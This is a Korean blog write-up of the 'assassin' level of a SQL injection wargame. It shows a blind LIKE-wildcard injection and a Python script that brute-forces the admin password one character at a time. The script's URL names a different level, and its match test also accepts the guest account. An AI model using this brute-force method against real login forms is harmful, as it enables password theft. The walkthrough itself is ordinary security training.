728x90
반응형
상단에 나오는 쿼리문은 DB에 해당 쿼리문으로 데이터가 들어간다고 알려준다.
이번문제 쿼리문을 보면 기존 문제들과 쿼리문 형식이 바뀌었다.
pw의 값이 ‘’인 파라미터가 보인다.
query : select id from prob_assassin where pw like ''
아래에는 php 코드가 나와있으며, 이걸 참고해서 문제를 푸는 것 이다.
해당 php 코드에서 자세하게 봐야 하는 부분은 이 부분인 것 같다.
preg_match 조건문 부분을 보면 다음과 같이 필터링하고 있다.
- ‘, “
문제를 풀기 위해서는 id의 값이 admin이어야 한다.
if(preg_match('/\\'/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_assassin where pw like '{$_GET[pw]}'";
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("assassin");
이때 like 연산자를 사용해 아래의 특수문자를 사용해보았다.
대표 문자 | % | _ | # |
의미 | 모든 문자를 대표함 | 문자 하나를 대표함 | 숫자 하나를 대표함 |
모든 문자를 대표하는 %를 사용하는 경우 Hello guest 라는 문자열이 떴다.
문자 하나를 대표하는 _ 를 사용하였더니 pw 파라미터 안에 값으로 들어갔다.
_를 8번 입력했더니 Hello guest 문자열이 떴다.
?pw=________
pw의 값은 8글자인 듯 하다.
pw 값을 알아내기 위해 아래와 같이 파이썬 코드를 사용하였다.
import requests
URL = '<https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php>'
cookies = {'PHPSESSID' : '쿠키값'} #각자의 쿠키 값을 대입
password = ''
for admin_len in range(8): #pw의 길이 8만큼 수행
for admin_pass in range(ord('0'), ord('z')): #숫자 0에서 부터 문자 z까지 대입
query = {'pw' : str(password) + chr(admin_pass) + '%'}
res = requests.get(URL, params = query, cookies = cookies)
if('Hello admin' in res.text) or ('Hello guest' in res.text): #만약에 res.text에 Hello admin이 뜨면 pw 출력
password = password + chr(admin_pass)
print('Password detected (' + str(admin_len + 1) + ' words): ' + password)
break
print("pw 값은 [",password,"] 입니다")
위의 코드를 돌려 아래의 결과가 나왔다.
pw의 값은 902EFD10, 즉 902efd10이다.
위에서 알아낸 값을 입력 후 문제를 풀었다.
728x90
반응형